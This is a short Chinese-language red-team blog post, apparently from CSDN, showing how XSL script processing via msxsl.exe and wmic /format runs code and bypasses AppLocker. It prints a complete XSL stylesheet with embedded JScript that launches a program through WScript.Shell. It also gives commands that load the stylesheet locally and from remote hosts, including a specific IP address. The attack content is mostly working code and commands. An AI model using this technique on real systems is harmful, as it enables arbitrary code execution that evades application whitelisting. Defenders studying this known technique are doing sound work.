XSL Script Processing

XSL指扩展样式语言(Extensibel Style Language)。万维网联盟(W3C)开始发展XSL的原因是:存在着对于基于XML的样式表语言的需求。在红蓝对抗中,使用XSL文件执行恶意代码有时可以帮助我们绕过APPLocker。下面介绍两种利用手段。

命令执行

技术复现(msxsl.exe)

msxsl.exe是微软用于命令行下处理XSL的一个程序,通过它我们可以执行XSL内的JavaScript进而执行系统命令。

下载地址:https://www.microsoft.com/en-us/download/confirmation.aspx?id=21714。

msxsI命令行接收形为msxsl.exe {xmlfile} {xslfile}的参数。由于XSL算是一种特殊的XML,我们可以使用msxsl.exe {xslfile} {xslfile}调用xsl文件内的命令。

<?xml version='1.0'?>
<xsl:stylesheet version="1.0" 
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt" 
xmlns:user="https://www.dbappsecurity.com.cn">

<msxsl:script language="JScript" implements-prefix="user">
	function xml(nodelist){
	var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
	return nodelist.nextNode().xml;
	}
</msxsl:script>
<xsl:template match="/">
		<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>

本地执行

msxsl.exe Ail.xsl Ail.xsl

在这里插入图片描述

远程执行

msxsl.exe http://xxx/Ail.xsl http://xxx/Ail.xsl

在这里插入图片描述

技术复现

wmic可以通过形如:wmic.exe {wmic_command} /FORMAT:{xsl_file}的方式执行xsI内的恶意代码。{wmic command内可以填写任意的wmic可执行的命令}

本地执行

wmic process get name /format:Ail.xsl

在这里插入图片描述

远程执行

wmic process get name /format:"http://104.243.21.177/Ail.xsl"

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值